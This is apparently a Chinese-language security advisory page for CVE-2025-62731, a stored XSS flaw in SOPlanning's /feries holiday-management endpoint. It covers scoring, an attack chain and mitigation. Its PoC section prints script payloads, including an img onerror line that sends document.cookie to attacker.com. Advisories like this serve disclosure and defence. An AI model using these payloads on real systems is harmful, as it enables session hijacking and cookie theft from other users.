IPBUF安全漏洞报告
English
CVE-2025-62731 CVSS 4.8 中危

CVE-2025-62731 SOPlanning存储型XSS漏洞

披露日期: 2025-11-20

漏洞信息

漏洞编号
CVE-2025-62731
漏洞类型
存储型XSS
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
SOPlanning

相关标签

存储型XSSSOPlanningCVE-2025-62731跨站脚本Web应用安全权限提升会话劫持

漏洞概述

CVE-2025-62731是SOPlanning项目中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于SOPlanning的公共假期管理功能中(/feries端点),攻击者通过该端点可以注入任意HTML和JavaScript代码。由于这些恶意代码被存储在服务器端,当其他用户访问受影响的页面时,注入的脚本会自动执行,从而实现会话劫持、敏感信息窃取或其他恶意操作。根据CVSS 3.1评分,该漏洞评分为4.8分,属于中危级别。默认情况下,只有管理员和具有特殊权限的用户才能访问该功能,但一旦攻击者获得相应权限,即可利用此漏洞对整个系统造成安全威胁。该漏洞由[email protected]于2025年11月20日披露,并在1.55版本中得到修复。

技术细节

该漏洞是一个典型的存储型XSS(Stored Cross-Site Scripting)漏洞,存在于SOPlanning应用程序的公共假期管理功能中。攻击者通过访问/feries端点,可以在假期名称或描述字段中注入恶意的HTML或JavaScript代码。由于应用程序未对用户输入进行充分的过滤和转义处理,注入的恶意代码会被永久存储在数据库中。当其他用户访问包含该假期信息的页面时(如日历视图、仪表盘等),浏览器会解析并执行这些恶意脚本。攻击者可以利用此漏洞窃取用户会话Cookie、冒充合法用户执行操作、修改页面内容进行钓鱼攻击,或进一步利用获取的权限进行横向移动。由于CVSS向量中设置了PR:H(需要高权限)和UI:R(需要用户交互),攻击场景要求攻击者具有管理员或特殊权限账户,并需要诱导其他用户访问触发点。攻击向量为网络可访问(AV:N),攻击复杂度低(AC:L),但机密性和完整性影响均为低(C:L/I:L),可用性无影响(A:N)。

攻击链分析

STEP 1
步骤1
攻击者获取SOPlanning管理员或具有特殊权限的账户访问权限
STEP 2
步骤2
攻击者登录系统后访问/feries公共假期管理端点
STEP 3
步骤3
在假期名称或描述字段中注入恶意XSS payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4
提交表单,恶意代码被存储在数据库中(持久化)
STEP 5
步骤5
当其他用户访问包含假期信息的页面时,浏览器解析并执行注入的恶意脚本
STEP 6
步骤6
攻击者通过XSS成功窃取用户会话Cookie、进行会话劫持或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-62731 Stored XSS PoC for SOPlanning /feries endpoint // This PoC demonstrates the XSS injection in the public holidays feature // Payload: <script>alert(document.cookie)</script> // Or more sophisticated payload for session hijacking: // <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> // Steps to exploit: // 1. Login to SOPlanning with admin or privileged user account // 2. Navigate to the /feries endpoint (Holiday management page) // 3. Add a new holiday with XSS payload in name/description field // 4. Save the holiday - payload is stored in database // 5. Any user viewing holidays or related pages will trigger the XSS // Example HTTP POST request to /feries endpoint: const pocPayload = { method: 'POST', path: '/feries', body: { name: '<script>alert(String.fromCharCode(88,83,83))</script>', date: '2025-01-01', description: '<img src=x onerror=fetch("https://attacker.com?c="+document.cookie)>' } }; // The injected script will execute when: // - Viewing the holidays list // - Viewing calendar with holidays displayed // - Any page that renders holiday information

影响范围

SOPlanning < 1.55

防御指南

临时缓解措施
立即升级SOPlanning到1.55版本以修复该漏洞。在升级前,可临时禁用公共假期功能或限制对该功能的访问,同时监控应用日志以检测可能的攻击尝试。对于必须保持当前版本的场景,建议实施严格的输入过滤机制,对所有用户输入进行HTML实体编码,并在前端和后端同时进行验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表